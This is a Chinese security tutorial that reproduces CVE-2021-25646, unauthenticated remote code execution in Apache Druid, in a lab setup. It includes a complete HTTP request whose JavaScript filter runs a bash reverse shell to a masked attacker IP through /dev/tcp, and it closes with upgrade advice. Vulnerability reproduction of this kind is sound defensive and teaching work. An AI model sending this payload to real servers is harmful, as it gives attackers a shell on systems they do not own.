zoukankan      html  css  js  c++  java
  • Apache druid未授权命令执行漏洞复现

    本文首发于“合天网安实验室”

    简介

    Apache Druid是一个实时分析型数据库,旨在对大型数据集进行快速的查询分析("OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。

    涉及知识点-网络安全事件 

    课程:网络安全事件(合天网安实验室)  

    “网络安全事件”这门课程是由一些影响比较大的安全事件所模拟的测试环境组成。此课程不仅会添加以往的安全事件,而且还会紧跟时事,去添加最新的安全事件。让大家在第一时间了解,并懂得怎么去保护自身安全为目的。

    概述

    由于Apache Druid 默认情况下缺乏授权认证,攻击者可直接构造恶意请求执行任意代码,控制服务器。

    CVE编号

    CVE-2021-25646

    影响版本

    Apache Druid < 0.20.1

    环境搭建

    这里使用0.2.0版本进行复现,下载地址:

    https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz

    下载后执行以下命令解压并启动漏洞环境。

    tar -xzvf apache-druid-0.20.0-bin.tar.gz
    cd apache-druid-0.20.0
    ./bin/start-micro-quickstart
     

    启动后服务绑定在8888端口,浏览器可以正常访问则表示环境启动成功

    漏洞复现

    设置代理后选择load data,抓取到以下包

    包内容:

    构造payload执行命令,这里做一个反弹shell的操作

    POST /druid/indexer/v1/sampler HTTP/1.1
    Host: 192.168.74.148:8888
    Content-Length: 1043
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.56
    Content-Type: application/json;charset=UTF-8
    Origin: http://192.168.74.148:8888
    Referer: http://192.168.74.148:8888/unified-console.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
    Connection: close
    
    
    {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2020-12-12T12:10:21.040Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xx/1234 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
     

    漏洞修复

    升级Apache Druid至0.20.1及以上版本

    参考链接

    https://f5.pm/go-57059.html
    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    【VUE】数据库动态渲染标签,并且动态绑定事件与激活图标
    Linux shell select
    ceph介绍和安装
    C# 保存网络图片至本地项目中
    CS229 斯坦福大学机器学习复习材料(数学基础)
    SPRING.NET FRAMEWORK 3.0 GA啦
    U盘装机神器
    一行css让网页风格变成暗黑模式
    vue3 自学(一)基础知识学习和搭建一个脚手架
    windows使用nvm管理node不同版本
  • 原文地址:https://www.cnblogs.com/hetianlab/p/14366826.html
Copyright © 2011-2022 走看看